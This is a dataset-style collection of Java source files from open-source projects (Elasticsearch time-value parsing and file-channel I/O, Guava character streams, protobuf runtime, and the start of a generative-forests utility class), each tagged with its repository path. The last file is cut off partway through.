return new TimeValue(minutes, TimeUnit.MINUTES);
}
public static TimeValue timeValueHours(long hours) {
return new TimeValue(hours, TimeUnit.HOURS);
}
public static TimeValue timeValueDays(long days) {
// 106751.9 days is Long.MAX_VALUE nanoseconds, so we cannot store 106752 days
if (days > 106751) {
throw new IllegalArgumentException("time value cannot store values greater than 106751 days");
}
return new TimeValue(days, TimeUnit.DAYS);
}
/**
* @return the unit used for the this time value, see {@link #duration()}
*/
public TimeUnit timeUnit() {
return timeUnit;
}
/**
* @return the number of {@link #timeUnit()} units this value contains
*/
public long duration() {
return duration;
}
public long nanos() {
return timeUnit.toNanos(duration);
}
public long getNanos() {
return nanos();
}
public long micros() {
return timeUnit.toMicros(duration);
}
public long getMicros() {
return micros();
}
public long millis() {
return timeUnit.toMillis(duration);
}
public long getMillis() {
return millis();
}
public long seconds() {
return timeUnit.toSeconds(duration);
}
public long getSeconds() {
return seconds();
}
public long minutes() {
return timeUnit.toMinutes(duration);
}
public long getMinutes() {
return minutes();
}
public long hours() {
return timeUnit.toHours(duration);
}
public long getHours() {
return hours();
}
public long days() {
return timeUnit.toDays(duration);
}
public long getDays() {
return days();
}
public double microsFrac() {
return ((double) nanos()) / C1;
}
public double getMicrosFrac() {
return microsFrac();
}
public double millisFrac() {
return ((double) nanos()) / C2;
}
public double getMillisFrac() {
return millisFrac();
}
public double secondsFrac() {
return ((double) nanos()) / C3;
}
public double getSecondsFrac() {
return secondsFrac();
}
public double minutesFrac() {
return ((double) nanos()) / C4;
}
public double getMinutesFrac() {
return minutesFrac();
}
public double hoursFrac() {
return ((double) nanos()) / C5;
}
public double getHoursFrac() {
return hoursFrac();
}
public double daysFrac() {
return ((double) nanos()) / C6;
}
public double getDaysFrac() {
return daysFrac();
}
/**
* Returns a {@link String} representation of the current {@link TimeValue}.
*
* Note that this method might produce fractional time values (ex 1.6m) which cannot be
* parsed by method like {@link TimeValue#parse(String, String, String, String)}.
*
* Also note that the maximum string value that will be generated is
* {@code 106751.9d} due to the way that values are internally converted
* to nanoseconds (106751.9 days is Long.MAX_VALUE nanoseconds)
*/
@Override
public String toString() {
return this.toHumanReadableString(1);
}
/**
* Returns a {@link String} representation of the current {@link TimeValue}.
*
* Note that this method might produce fractional time values (ex 1.6m) which cannot be
* parsed by method like {@link TimeValue#parse(String, String, String, String)}. The number of
* fractional decimals (up to 10 maximum) are truncated to the number of fraction pieces
* specified.
*
* Also note that the maximum string value that will be generated is
* {@code 106751.9d} due to the way that values are internally converted
* to nanoseconds (106751.9 days is Long.MAX_VALUE nanoseconds)
*
* @param fractionPieces the number of decimal places to include
*/
public String toHumanReadableString(int fractionPieces) {
if (duration < 0) {
return Long.toString(duration);
}
long nanos = nanos();
if (nanos == 0) {
return "0s";
}
double value = nanos;
String suffix = "nanos";
if (nanos >= C6) {
value = daysFrac();
suffix = "d";
} else if (nanos >= C5) {
value = hoursFrac();
suffix = "h";
} else if (nanos >= C4) {
value = minutesFrac();
suffix = "m";
} else if (nanos >= C3) {
value = secondsFrac();
suffix = "s";
} else if (nanos >= C2) {
value = millisFrac();
suffix = "ms";
} else if (nanos >= C1) {
value = microsFrac();
suffix = "micros";
}
// Limit fraction pieces to a min of 0 and maximum of 10
return formatDecimal(value, Math.min(10, Math.max(0, fractionPieces))) + suffix;
}
private static String formatDecimal(double value, int fractionPieces) {
String p = String.valueOf(value);
int totalLength = p.length();
int ix = p.indexOf('.') + 1;
int ex = p.indexOf('E');
// Location where the fractional values end
int fractionEnd = ex == -1 ? Math.min(ix + fractionPieces, totalLength) : ex;
// Determine the value of the fraction, so if it were .000 the
// actual long value is 0, in which case, it can be elided.
long fractionValue;
try {
fractionValue = Long.parseLong(p.substring(ix, fractionEnd));
} catch (NumberFormatException e) {
fractionValue = 0;
}
if (fractionValue == 0 || fractionPieces <= 0) {
// Either the part of the fraction we were asked to report is
// zero, or the user requested 0 fraction pieces, so return
// only the integral value
if (ex != -1) {
return p.substring(0, ix - 1) + p.substring(ex);
} else {
return p.substring(0, ix - 1);
}
} else {
// Build up an array of fraction characters, without going past
// the end of the string. This keeps track of trailing '0' chars
// that should be truncated from the end to avoid getting a
// string like "1.3000d" (returning "1.3d" instead) when the
// value is 1.30000009
char[] fractions = new char[fractionPieces];
int fracCount = 0;
int truncateCount = 0;
for (int i = 0; i < fractionPieces; i++) {
int position = ix + i;
if (position >= fractionEnd) {
// No more pieces, the fraction has ended
break;
}
char fraction = p.charAt(position);
if (fraction == '0') {
truncateCount++;
} else {
truncateCount = 0;
}
fractions[i] = fraction;
fracCount++;
}
// Generate the fraction string from the char array, truncating any trailing zeros
String fractionStr = new String(fractions, 0, fracCount - truncateCount);
if (ex != -1) {
return p.substring(0, ix) + fractionStr + p.substring(ex);
} else {
return p.substring(0, ix) + fractionStr;
}
}
}
public String getStringRep() {
if (duration < 0) {
return Long.toString(duration);
}
return switch (timeUnit) {
case NANOSECONDS -> duration + "nanos";
case MICROSECONDS -> duration + "micros";
case MILLISECONDS -> duration + "ms";
case SECONDS -> duration + "s";
case MINUTES -> duration + "m";
case HOURS -> duration + "h";
case DAYS -> duration + "d";
};
}
/**
* @param sValue Value to parse, which may not be {@code null}.
* @param settingName Name of the parameter or setting. On invalid input, this value is included in the exception message. Otherwise,
* this parameter is unused.
* @return The {@link TimeValue} which the input string represents.
*/
public static TimeValue parseTimeValue(String sValue, String settingName) {
Objects.requireNonNull(settingName);
Objects.requireNonNull(sValue);
return parseTimeValue(sValue, null, settingName);
}
/**
* @param sValue Value to parse, which may be {@code null}.
* @param defaultValue Value to return if {@code sValue} is {@code null}.
* @param settingName Name of the parameter or setting. On invalid input, this value is included in the exception message. Otherwise,
* this parameter is unused.
* @return The {@link TimeValue} which the input string represents, or {@code defaultValue} if the input is {@code null}.
*/
public static TimeValue parseTimeValue(@Nullable String sValue, TimeValue defaultValue, String settingName) {
settingName = Objects.requireNonNull(settingName);
if (sValue == null) {
return defaultValue;
}
final String normalized = sValue.toLowerCase(Locale.ROOT).trim();
if (normalized.endsWith("nanos")) {
return TimeValue.timeValueNanos(parse(sValue, normalized, "nanos", settingName));
} else if (normalized.endsWith("micros")) {
return new TimeValue(parse(sValue, normalized, "micros", settingName), TimeUnit.MICROSECONDS);
} else if (normalized.endsWith("ms")) {
return TimeValue.timeValueMillis(parse(sValue, normalized, "ms", settingName));
} else if (normalized.endsWith("s")) {
return TimeValue.timeValueSeconds(parse(sValue, normalized, "s", settingName));
} else if (sValue.endsWith("m")) {
// parsing minutes should be case-sensitive as 'M' means "months", not "minutes"; this is the only special case.
return TimeValue.timeValueMinutes(parse(sValue, normalized, "m", settingName));
} else if (normalized.endsWith("h")) {
return TimeValue.timeValueHours(parse(sValue, normalized, "h", settingName));
} else if (normalized.endsWith("d")) {
return new TimeValue(parse(sValue, normalized, "d", settingName), TimeUnit.DAYS);
} else if (normalized.matches("-0*1")) {
return TimeValue.MINUS_ONE;
} else if (normalized.matches("0+")) {
return TimeValue.ZERO;
} else {
// Missing units:
throw new IllegalArgumentException(
"failed to parse setting [" + settingName + "] with value [" + sValue + "] as a time value: unit is missing or unrecognized"
);
}
}
private static long parse(final String initialInput, final String normalized, final String suffix, String settingName) {
final String s = normalized.substring(0, normalized.length() - suffix.length()).trim();
try {
final long value = Long.parseLong(s);
if (value < -1) {
// -1 is magic, but reject any other negative values
throw new IllegalArgumentException(
"failed to parse setting ["
+ settingName
+ "] with value ["
+ initialInput
+ "] as a time value: negative durations are not supported"
);
}
return value;
} catch (final NumberFormatException e) {
try {
@SuppressWarnings("unused")
final double ignored = Double.parseDouble(s);
throw new IllegalArgumentException("failed to parse [" + initialInput + "], fractional time values are not supported", e);
} catch (final NumberFormatException ignored) {
throw new IllegalArgumentException("failed to parse [" + initialInput + "]", e);
}
}
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
return this.compareTo(((TimeValue) o)) == 0;
}
@Override
public int hashCode() {
return Double.hashCode(((double) duration) * timeUnit.toNanos(1));
}
public static long nsecToMSec(long ns) {
return ns / NSEC_PER_MSEC;
}
@Override
public int compareTo(TimeValue timeValue) {
double thisValue = ((double) duration) * timeUnit.toNanos(1);
double otherValue = ((double) timeValue.duration) * timeValue.timeUnit.toNanos(1);
return Double.compare(thisValue, otherValue);
}
}
| elastic/elasticsearch | libs/core/src/main/java/org/elasticsearch/core/TimeValue.java |
1,336 | /*
* Copyright (C) 2007 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.common.io;
import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.base.Preconditions.checkPositionIndexes;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.annotations.J2ktIncompatible;
import com.google.errorprone.annotations.CanIgnoreReturnValue;
import java.io.Closeable;
import java.io.EOFException;
import java.io.IOException;
import java.io.Reader;
import java.io.Writer;
import java.nio.CharBuffer;
import java.util.ArrayList;
import java.util.List;
import javax.annotation.CheckForNull;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* Provides utility methods for working with character streams.
*
* <p>Some of the methods in this class take arguments with a generic type of {@code Readable &
* Closeable}. A {@link java.io.Reader} implements both of those interfaces. Similarly for {@code
* Appendable & Closeable} and {@link java.io.Writer}.
*
* @author Chris Nokleberg
* @author Bin Zhu
* @author Colin Decker
* @since 1.0
*/
@J2ktIncompatible
@GwtIncompatible
@ElementTypesAreNonnullByDefault
public final class CharStreams {
// 2K chars (4K bytes)
private static final int DEFAULT_BUF_SIZE = 0x800;
/** Creates a new {@code CharBuffer} for buffering reads or writes. */
static CharBuffer createBuffer() {
return CharBuffer.allocate(DEFAULT_BUF_SIZE);
}
private CharStreams() {}
/**
* Copies all characters between the {@link Readable} and {@link Appendable} objects. Does not
* close or flush either object.
*
* @param from the object to read from
* @param to the object to write to
* @return the number of characters copied
* @throws IOException if an I/O error occurs
*/
@CanIgnoreReturnValue
public static long copy(Readable from, Appendable to) throws IOException {
// The most common case is that from is a Reader (like InputStreamReader or StringReader) so
// take advantage of that.
if (from instanceof Reader) {
// optimize for common output types which are optimized to deal with char[]
if (to instanceof StringBuilder) {
return copyReaderToBuilder((Reader) from, (StringBuilder) to);
} else {
return copyReaderToWriter((Reader) from, asWriter(to));
}
}
checkNotNull(from);
checkNotNull(to);
long total = 0;
CharBuffer buf = createBuffer();
while (from.read(buf) != -1) {
Java8Compatibility.flip(buf);
to.append(buf);
total += buf.remaining();
Java8Compatibility.clear(buf);
}
return total;
}
// TODO(lukes): consider allowing callers to pass in a buffer to use, some callers would be able
// to reuse buffers, others would be able to size them more appropriately than the constant
// defaults
/**
* Copies all characters between the {@link Reader} and {@link StringBuilder} objects. Does not
* close or flush the reader.
*
* <p>This is identical to {@link #copy(Readable, Appendable)} but optimized for these specific
* types. CharBuffer has poor performance when being written into or read out of so round tripping
* all the bytes through the buffer takes a long time. With these specialized types we can just
* use a char array.
*
* @param from the object to read from
* @param to the object to write to
* @return the number of characters copied
* @throws IOException if an I/O error occurs
*/
@CanIgnoreReturnValue
static long copyReaderToBuilder(Reader from, StringBuilder to) throws IOException {
checkNotNull(from);
checkNotNull(to);
char[] buf = new char[DEFAULT_BUF_SIZE];
int nRead;
long total = 0;
while ((nRead = from.read(buf)) != -1) {
to.append(buf, 0, nRead);
total += nRead;
}
return total;
}
/**
* Copies all characters between the {@link Reader} and {@link Writer} objects. Does not close or
* flush the reader or writer.
*
* <p>This is identical to {@link #copy(Readable, Appendable)} but optimized for these specific
* types. CharBuffer has poor performance when being written into or read out of so round tripping
* all the bytes through the buffer takes a long time. With these specialized types we can just
* use a char array.
*
* @param from the object to read from
* @param to the object to write to
* @return the number of characters copied
* @throws IOException if an I/O error occurs
*/
@CanIgnoreReturnValue
static long copyReaderToWriter(Reader from, Writer to) throws IOException {
checkNotNull(from);
checkNotNull(to);
char[] buf = new char[DEFAULT_BUF_SIZE];
int nRead;
long total = 0;
while ((nRead = from.read(buf)) != -1) {
to.write(buf, 0, nRead);
total += nRead;
}
return total;
}
/**
* Reads all characters from a {@link Readable} object into a {@link String}. Does not close the
* {@code Readable}.
*
* @param r the object to read from
* @return a string containing all the characters
* @throws IOException if an I/O error occurs
*/
public static String toString(Readable r) throws IOException {
return toStringBuilder(r).toString();
}
/**
* Reads all characters from a {@link Readable} object into a new {@link StringBuilder} instance.
* Does not close the {@code Readable}.
*
* @param r the object to read from
* @return a {@link StringBuilder} containing all the characters
* @throws IOException if an I/O error occurs
*/
private static StringBuilder toStringBuilder(Readable r) throws IOException {
StringBuilder sb = new StringBuilder();
if (r instanceof Reader) {
copyReaderToBuilder((Reader) r, sb);
} else {
copy(r, sb);
}
return sb;
}
/**
* Reads all of the lines from a {@link Readable} object. The lines do not include
* line-termination characters, but do include other leading and trailing whitespace.
*
* <p>Does not close the {@code Readable}. If reading files or resources you should use the {@link
* Files#readLines} and {@link Resources#readLines} methods.
*
* @param r the object to read from
* @return a mutable {@link List} containing all the lines
* @throws IOException if an I/O error occurs
*/
public static List<String> readLines(Readable r) throws IOException {
List<String> result = new ArrayList<>();
LineReader lineReader = new LineReader(r);
String line;
while ((line = lineReader.readLine()) != null) {
result.add(line);
}
return result;
}
/**
* Streams lines from a {@link Readable} object, stopping when the processor returns {@code false}
* or all lines have been read and returning the result produced by the processor. Does not close
* {@code readable}. Note that this method may not fully consume the contents of {@code readable}
* if the processor stops processing early.
*
* @throws IOException if an I/O error occurs
* @since 14.0
*/
@CanIgnoreReturnValue // some processors won't return a useful result
@ParametricNullness
public static <T extends @Nullable Object> T readLines(
Readable readable, LineProcessor<T> processor) throws IOException {
checkNotNull(readable);
checkNotNull(processor);
LineReader lineReader = new LineReader(readable);
String line;
while ((line = lineReader.readLine()) != null) {
if (!processor.processLine(line)) {
break;
}
}
return processor.getResult();
}
/**
* Reads and discards data from the given {@code Readable} until the end of the stream is reached.
* Returns the total number of chars read. Does not close the stream.
*
* @since 20.0
*/
@CanIgnoreReturnValue
public static long exhaust(Readable readable) throws IOException {
long total = 0;
long read;
CharBuffer buf = createBuffer();
while ((read = readable.read(buf)) != -1) {
total += read;
Java8Compatibility.clear(buf);
}
return total;
}
/**
* Discards {@code n} characters of data from the reader. This method will block until the full
* amount has been skipped. Does not close the reader.
*
* @param reader the reader to read from
* @param n the number of characters to skip
* @throws EOFException if this stream reaches the end before skipping all the characters
* @throws IOException if an I/O error occurs
*/
public static void skipFully(Reader reader, long n) throws IOException {
checkNotNull(reader);
while (n > 0) {
long amt = reader.skip(n);
if (amt == 0) {
throw new EOFException();
}
n -= amt;
}
}
/**
* Returns a {@link Writer} that simply discards written chars.
*
* @since 15.0
*/
public static Writer nullWriter() {
return NullWriter.INSTANCE;
}
private static final class NullWriter extends Writer {
private static final NullWriter INSTANCE = new NullWriter();
@Override
public void write(int c) {}
@Override
public void write(char[] cbuf) {
checkNotNull(cbuf);
}
@Override
public void write(char[] cbuf, int off, int len) {
checkPositionIndexes(off, off + len, cbuf.length);
}
@Override
public void write(String str) {
checkNotNull(str);
}
@Override
public void write(String str, int off, int len) {
checkPositionIndexes(off, off + len, str.length());
}
@Override
public Writer append(@CheckForNull CharSequence csq) {
return this;
}
@Override
public Writer append(@CheckForNull CharSequence csq, int start, int end) {
checkPositionIndexes(start, end, csq == null ? "null".length() : csq.length());
return this;
}
@Override
public Writer append(char c) {
return this;
}
@Override
public void flush() {}
@Override
public void close() {}
@Override
public String toString() {
return "CharStreams.nullWriter()";
}
}
/**
* Returns a Writer that sends all output to the given {@link Appendable} target. Closing the
* writer will close the target if it is {@link Closeable}, and flushing the writer will flush the
* target if it is {@link java.io.Flushable}.
*
* @param target the object to which output will be sent
* @return a new Writer object, unless target is a Writer, in which case the target is returned
*/
public static Writer asWriter(Appendable target) {
if (target instanceof Writer) {
return (Writer) target;
}
return new AppendableWriter(target);
}
}
| google/guava | android/guava/src/com/google/common/io/CharStreams.java |
1,337 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.common.io;
import org.elasticsearch.core.SuppressForbidden;
import java.io.EOFException;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.nio.channels.WritableByteChannel;
@SuppressForbidden(reason = "Channel#read")
public final class Channels {
private Channels() {}
/**
* The maximum chunk size for reads in bytes
*/
private static final int READ_CHUNK_SIZE = 16384;
/**
* The maximum chunk size for writes in bytes
*/
public static final int WRITE_CHUNK_SIZE = 8192;
/**
* read <i>length</i> bytes from <i>position</i> of a file channel
*/
public static byte[] readFromFileChannel(FileChannel channel, long position, int length) throws IOException {
byte[] res = new byte[length];
readFromFileChannelWithEofException(channel, position, res, 0, length);
return res;
}
/**
* read <i>length</i> bytes from <i>position</i> of a file channel. An EOFException will be thrown if you
* attempt to read beyond the end of file.
*
* @param channel channel to read from
* @param channelPosition position to read from
* @param dest destination byte array to put data in
* @param destOffset offset in dest to read into
* @param length number of bytes to read
*/
public static void readFromFileChannelWithEofException(
FileChannel channel,
long channelPosition,
byte[] dest,
int destOffset,
int length
) throws IOException {
int read = readFromFileChannel(channel, channelPosition, dest, destOffset, length);
if (read < 0) {
throw new EOFException("read past EOF. pos [" + channelPosition + "] length: [" + length + "] end: [" + channel.size() + "]");
}
}
/**
* read <i>length</i> bytes from <i>position</i> of a file channel.
*
* @param channel channel to read from
* @param channelPosition position to read from
* @param dest destination byte array to put data in
* @param destOffset offset in dest to read into
* @param length number of bytes to read
* @return total bytes read or -1 if an attempt was made to read past EOF. The method always tries to read all the bytes
* that will fit in the destination byte buffer.
*/
public static int readFromFileChannel(FileChannel channel, long channelPosition, byte[] dest, int destOffset, int length)
throws IOException {
ByteBuffer buffer = ByteBuffer.wrap(dest, destOffset, length);
return readFromFileChannel(channel, channelPosition, buffer);
}
/**
* read from a file channel into a byte buffer, starting at a certain position. An EOFException will be thrown if you
* attempt to read beyond the end of file.
*
* @param channel channel to read from
* @param channelPosition position to read from
* @param dest destination {@link java.nio.ByteBuffer} to put data in
* @return total bytes read
*/
public static int readFromFileChannelWithEofException(FileChannel channel, long channelPosition, ByteBuffer dest) throws IOException {
int read = readFromFileChannel(channel, channelPosition, dest);
if (read < 0) {
throw new EOFException(
"read past EOF. pos [" + channelPosition + "] length: [" + dest.limit() + "] end: [" + channel.size() + "]"
);
}
return read;
}
/**
* read from a file channel into a byte buffer, starting at a certain position.
*
* @param channel channel to read from
* @param channelPosition position to read from
* @param dest destination {@link java.nio.ByteBuffer} to put data in
* @return total bytes read or -1 if an attempt was made to read past EOF. The method always tries to read all the bytes
* that will fit in the destination byte buffer.
*/
public static int readFromFileChannel(FileChannel channel, long channelPosition, ByteBuffer dest) throws IOException {
if (dest.isDirect() || (dest.remaining() < READ_CHUNK_SIZE)) {
return readSingleChunk(channel, channelPosition, dest);
} else {
int bytesRead = 0;
int bytesToRead = dest.remaining();
// duplicate the buffer in order to be able to change the limit
ByteBuffer tmpBuffer = dest.duplicate();
try {
while (dest.hasRemaining()) {
tmpBuffer.limit(Math.min(dest.limit(), tmpBuffer.position() + READ_CHUNK_SIZE));
int read = readSingleChunk(channel, channelPosition, tmpBuffer);
if (read < 0) {
return read;
}
bytesRead += read;
channelPosition += read;
dest.position(tmpBuffer.position());
}
} finally {
// make sure we update byteBuffer to indicate how far we came..
dest.position(tmpBuffer.position());
}
assert bytesRead == bytesToRead
: "failed to read an entire buffer but also didn't get an EOF (read [" + bytesRead + "] needed [" + bytesToRead + "]";
return bytesRead;
}
}
private static int readSingleChunk(FileChannel channel, long channelPosition, ByteBuffer dest) throws IOException {
int bytesRead = 0;
while (dest.hasRemaining()) {
int read = channel.read(dest, channelPosition);
if (read < 0) {
return read;
}
assert read > 0
: "FileChannel.read with non zero-length bb.remaining() must always read at least one byte "
+ "(FileChannel is in blocking mode, see spec of ReadableByteChannel)";
bytesRead += read;
channelPosition += read;
}
return bytesRead;
}
/**
* Writes part of a byte array to a {@link java.nio.channels.WritableByteChannel}
*
* @param source byte array to copy from
* @param channel target WritableByteChannel
*/
public static void writeToChannel(byte[] source, WritableByteChannel channel) throws IOException {
writeToChannel(source, 0, source.length, channel);
}
/**
* Writes part of a byte array to a {@link java.nio.channels.WritableByteChannel}
*
* @param source byte array to copy from
* @param offset start copying from this offset
* @param length how many bytes to copy
* @param channel target WritableByteChannel
*/
public static void writeToChannel(byte[] source, int offset, int length, WritableByteChannel channel) throws IOException {
int toWrite = Math.min(length, WRITE_CHUNK_SIZE);
ByteBuffer buffer = ByteBuffer.wrap(source, offset, toWrite);
int written = channel.write(buffer);
length -= written;
while (length > 0) {
toWrite = Math.min(length, WRITE_CHUNK_SIZE);
buffer.limit(buffer.position() + toWrite);
written = channel.write(buffer);
length -= written;
}
assert length == 0 : "wrote more then expected bytes (length=" + length + ")";
}
/**
* Writes part of a byte array to a {@link java.nio.channels.WritableByteChannel} at the provided
* position.
*
* @param source byte array to copy from
* @param channel target WritableByteChannel
* @param channelPosition position to write at
*/
public static void writeToChannel(byte[] source, FileChannel channel, long channelPosition) throws IOException {
writeToChannel(source, 0, source.length, channel, channelPosition);
}
/**
* Writes part of a byte array to a {@link java.nio.channels.WritableByteChannel} at the provided
* position.
*
* @param source byte array to copy from
* @param offset start copying from this offset
* @param length how many bytes to copy
* @param channel target WritableByteChannel
* @param channelPosition position to write at
*/
public static void writeToChannel(byte[] source, int offset, int length, FileChannel channel, long channelPosition) throws IOException {
ByteBuffer buffer = ByteBuffer.wrap(source, offset, length);
int written = channel.write(buffer, channelPosition);
length -= written;
while (length > 0) {
written = channel.write(buffer, channelPosition + buffer.position());
length -= written;
}
assert length == 0 : "wrote more then expected bytes (length=" + length + ")";
}
/**
* Writes a {@link java.nio.ByteBuffer} to a {@link java.nio.channels.WritableByteChannel}
*
* @param byteBuffer source buffer
* @param channel channel to write to
*/
public static void writeToChannel(ByteBuffer byteBuffer, WritableByteChannel channel) throws IOException {
if (byteBuffer.isDirect() || (byteBuffer.remaining() <= WRITE_CHUNK_SIZE)) {
while (byteBuffer.hasRemaining()) {
channel.write(byteBuffer);
}
} else {
// duplicate the buffer in order to be able to change the limit
ByteBuffer tmpBuffer = byteBuffer.duplicate();
try {
while (byteBuffer.hasRemaining()) {
tmpBuffer.limit(Math.min(byteBuffer.limit(), tmpBuffer.position() + WRITE_CHUNK_SIZE));
while (tmpBuffer.hasRemaining()) {
channel.write(tmpBuffer);
}
byteBuffer.position(tmpBuffer.position());
}
} finally {
// make sure we update byteBuffer to indicate how far we came..
byteBuffer.position(tmpBuffer.position());
}
}
}
}
| elastic/elasticsearch | server/src/main/java/org/elasticsearch/common/io/Channels.java |
1,338 | // Protocol Buffers - Google's data interchange format
// Copyright 2008 Google Inc. All rights reserved.
//
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file or at
// https://developers.google.com/open-source/licenses/bsd
package com.google.protobuf;
import static com.google.protobuf.Internal.checkNotNull;
import java.io.IOException;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
/**
* Main runtime interface for protobuf. Applications should interact with this interface (rather
* than directly accessing internal APIs) in order to perform operations on protobuf messages.
*/
@ExperimentalApi
@CheckReturnValue
final class Protobuf {
private static final Protobuf INSTANCE = new Protobuf();
// short circuit the full runtime support via assumevalues trickery
// this value should only be set to true via ProGuard -assumevalues
// directives when doing whole program optimization of Android applications
// to enable discarding of full runtime support.
@SuppressWarnings({"JavaOptionalSuggestions", "NonFinalStaticField"})
static boolean assumeLiteRuntime = false;
private final SchemaFactory schemaFactory;
// TODO: Consider using ClassValue instead.
private final ConcurrentMap<Class<?>, Schema<?>> schemaCache =
new ConcurrentHashMap<Class<?>, Schema<?>>();
/** Gets the singleton instance of the Protobuf runtime. */
public static Protobuf getInstance() {
return INSTANCE;
}
/** Writes the given message to the target {@link Writer}. */
public <T> void writeTo(T message, Writer writer) throws IOException {
schemaFor(message).writeTo(message, writer);
}
/** Reads fields from the given {@link Reader} and merges them into the message. */
public <T> void mergeFrom(T message, Reader reader) throws IOException {
mergeFrom(message, reader, ExtensionRegistryLite.getEmptyRegistry());
}
/** Reads fields from the given {@link Reader} and merges them into the message. */
public <T> void mergeFrom(T message, Reader reader, ExtensionRegistryLite extensionRegistry)
throws IOException {
schemaFor(message).mergeFrom(message, reader, extensionRegistry);
}
/** Marks repeated/map/extension/unknown fields as immutable. */
public <T> void makeImmutable(T message) {
schemaFor(message).makeImmutable(message);
}
/** Checks if all required fields are set. */
<T> boolean isInitialized(T message) {
return schemaFor(message).isInitialized(message);
}
/** Gets the schema for the given message type. */
public <T> Schema<T> schemaFor(Class<T> messageType) {
checkNotNull(messageType, "messageType");
@SuppressWarnings("unchecked")
Schema<T> schema = (Schema<T>) schemaCache.get(messageType);
if (schema == null) {
schema = schemaFactory.createSchema(messageType);
@SuppressWarnings("unchecked")
Schema<T> previous = (Schema<T>) registerSchema(messageType, schema);
if (previous != null) {
// A new schema was registered by another thread.
schema = previous;
}
}
return schema;
}
/** Gets the schema for the given message. */
@SuppressWarnings("unchecked")
public <T> Schema<T> schemaFor(T message) {
return schemaFor((Class<T>) message.getClass());
}
/**
* Registers the given schema for the message type only if a schema was not already registered.
*
* @param messageType the type of message on which the schema operates.
* @param schema the schema for the message type.
* @return the previously registered schema, or {@code null} if the given schema was successfully
* registered.
*/
public Schema<?> registerSchema(Class<?> messageType, Schema<?> schema) {
checkNotNull(messageType, "messageType");
checkNotNull(schema, "schema");
return schemaCache.putIfAbsent(messageType, schema);
}
/**
* Visible for testing only. Registers the given schema for the message type. If a schema was
* previously registered, it will be replaced by the provided schema.
*
* @param messageType the type of message on which the schema operates.
* @param schema the schema for the message type.
* @return the previously registered schema, or {@code null} if no schema was registered
* previously.
*/
@CanIgnoreReturnValue
public Schema<?> registerSchemaOverride(Class<?> messageType, Schema<?> schema) {
checkNotNull(messageType, "messageType");
checkNotNull(schema, "schema");
return schemaCache.put(messageType, schema);
}
private Protobuf() {
schemaFactory = new ManifestSchemaFactory();
}
int getTotalSchemaSize() {
int result = 0;
for (Schema<?> schema : schemaCache.values()) {
if (schema instanceof MessageSchema) {
result += ((MessageSchema) schema).getSchemaSize();
}
}
return result;
}
}
| protocolbuffers/protobuf | java/core/src/main/java/com/google/protobuf/Protobuf.java |
1,339 | // Companion Code to the paper "Generative Forests" by R. Nock and M. Guillame-Bert.
import java.io.*;
import java.util.*;
/**************************************************************************************************************************************
* Class Utils
*****/
class Utils implements Debuggable{
int domain_id;
public static Random r = new Random();
public static boolean RANDOMISE_SPLIT_FINDING_WHEN_TOO_MANY_SPLITS = true;
public static int MAX_CARD_MODALITIES = 200;
public static int MAX_CARD_MODALITIES_BEFORE_RANDOMISATION = 10;
// for NOMINAL variables: partially computes the number of candidates splits if modalities > MAX_CARD_MODALITIES_BEFORE_RANDOMISATION
// with 22, Mem <= 3 Mb (tests)
public static int MAX_SIZE_FOR_RANDOMISATION = 2; // used to partially compute the number of candidates splits for NOMINAL variables (here, O({n\choose MAX_SIZE_FOR_RANDOMISATION}))
public static int GUESS_MAX_TRUE_IN_BOOLARRAY(int bitset_size){
if (bitset_size > MAX_CARD_MODALITIES)
Dataset.perror(
"Utils.class :: "
+ bitset_size
+ "modalities, too large (MAX = "
+ MAX_CARD_MODALITIES
+ ".");
if (bitset_size <= Utils.MAX_CARD_MODALITIES_BEFORE_RANDOMISATION)
return bitset_size;
int v = (int) ((double) Utils.MAX_CARD_MODALITIES_BEFORE_RANDOMISATION / (Math.log(Utils.MAX_CARD_MODALITIES_BEFORE_RANDOMISATION) + 1.0));
if (bitset_size >= 50)
v--;
if (bitset_size >= 100)
v--;
return v;
}
public static int [] NEXT_INDEXES(int [] current_indexes, int [] max_indexes, int forbidden_index){
if (current_indexes.length != max_indexes.length)
Dataset.perror("Utils.class :: not the same length");
int index_increase = max_indexes.length-1, i;
boolean found = false;
do{
if ( (current_indexes[index_increase] < max_indexes[index_increase]) &&
( (forbidden_index == -1) || ( (forbidden_index != -1) && (index_increase != forbidden_index) ) ) )
found = true;
else
index_increase--;
}while( (index_increase >= 0) && (!found) );
if (!found)
return null;
int [] nextint = new int [current_indexes.length];
System.arraycopy(current_indexes, 0, nextint, 0, current_indexes.length);
nextint[index_increase]++;
for (i=index_increase+1;i<current_indexes.length;i++)
if ( (forbidden_index == -1) || ( (forbidden_index != -1) && (i != forbidden_index) ) )
nextint[i] = 0;
return nextint;
}
public static Vector<Vector<Node>> TUPLES_OF_NODES_WITH_NON_EMPTY_SUPPORT_INTERSECTION(Vector<Tree> all_trees, Node node, boolean ensure_non_zero_measure){
int [] current_indexes = new int [all_trees.size()];
int [] max_indexes = new int [all_trees.size()];
int forbidden_index = -1, node_index;
int i;
//compute_temporary_leaves
for (i=0;i<all_trees.size();i++)
all_trees.elementAt(i).compute_temporary_leaves();
if (node != null){
// look for node_index in its tree's leaves
node_index = all_trees.elementAt(node.myTree.name).temporary_leaves.indexOf(node);
if (node_index == -1)
Dataset.perror("Utils.class :: leaf not found");
current_indexes[node.myTree.name] = node_index;
forbidden_index = node.myTree.name;
}
Vector <Node> new_element;
Vector <Vector<Node>> set = new Vector<>();
long max = 1, iter = 0;
for (i=0;i<all_trees.size();i++){
